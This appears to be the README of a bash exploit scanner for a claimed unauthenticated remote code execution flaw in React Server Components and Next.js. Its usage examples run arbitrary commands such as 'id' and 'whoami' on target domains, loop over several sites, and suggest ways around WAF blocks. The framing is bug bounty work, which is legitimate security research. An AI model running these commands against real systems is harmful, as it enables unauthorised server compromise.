Automated React Server Components RCE Vulnerability Scanner

React2Shell is a critical RCE vulnerability in React Server Components allowing remote code execution without authentication.

• CVSS Score: 10.0 (Critical)
• Affected: React 19.x, Next.js 14.3+, 15.x, 16.x
• Impact: Full server compromise

chmod +x scanner.sh multi_scanner.sh

bash

./scanner.sh -d example.com -c "id"

./multi_scanner.sh -d example.com --quick

./multi_scanner.sh -d example.com --full

Test one domain with one command.

Syntax: bash ./scanner.sh -d -c

Options:

• -d, --domain - Target domain (default: localhost:3000)
• -c, --command - Command to execute (default: id)
• -h, --help - Show help

Examples: bash ./scanner.sh -d example.com -c "whoami" ./scanner.sh -d api.example.com -c "hostname" ./scanner.sh -d https://example.com/api -c "pwd"

Automatically tests multiple commands, subdomains, and paths.

Syntax: bash ./multi_scanner.sh -d [OPTIONS]

Options:

• -d, --domain - Target domain (required)
• -q, --quick - Quick scan (4 commands)
• -f, --full - Full scan (15+ commands, subdomains, paths)
• -o, --output - Custom output directory
• -h, --help - Show help

Examples: bash ./multi_scanner.sh -d example.com --quick ./multi_scanner.sh -d example.com --full ./multi_scanner.sh -d example.com -o my_results

[+] Command executed successfully! ┌─ Command Output ────────────────────────────────┐ │ uid=1000(node) gid=1000(node) groups=1000(node) └─────────────────────────────────────────────────┘

Action: Report via bug bounty program immediately!

[!] Failed - Server error (500) - Promising!

Action: Try different commands - likely vulnerable!

[✗] Failed - WAF/Firewall blocked (403)

Action: Try different subdomains or skip target.

Multi-scanner creates organized results:

scan_results_20241208_153045/ ├── successful_tests.txt # 🎉 Vulnerabilities found ├── 500_errors.txt # ⚠️ Promising targets ├── scan_report.txt # 📝 Full summary └── all_tests.log # 📋 All tests

• Check HackerOne: https://hackerone.com/directory/programs
• Check Bugcrowd: https://bugcrowd.com/programs
• Look for Next.js/React applications

bash

curl -s https://example.com | grep -i "NEXT_DATA"

bash

./multi_scanner.sh -d example.com --quick

./multi_scanner.sh -d example.com --full

• Document affected URL
• Include proof of concept
• Show command output
• Suggest remediation
• Report via proper channel

bash chmod +x scanner.sh multi_scanner.sh

bash

sudo apt install curl

sudo yum install curl

brew install curl

bash

• Try different subdomains
• Test HTTP instead of HTTPS
• Check if site uses WAF
• Move to next target

bash for domain in site1.com site2.com site3.com; do ./multi_scanner.sh -d "$domain" --quick sleep 60 done

bash

cat scan_results_*/500_errors.txt

Happy Bug Hunting! 🎯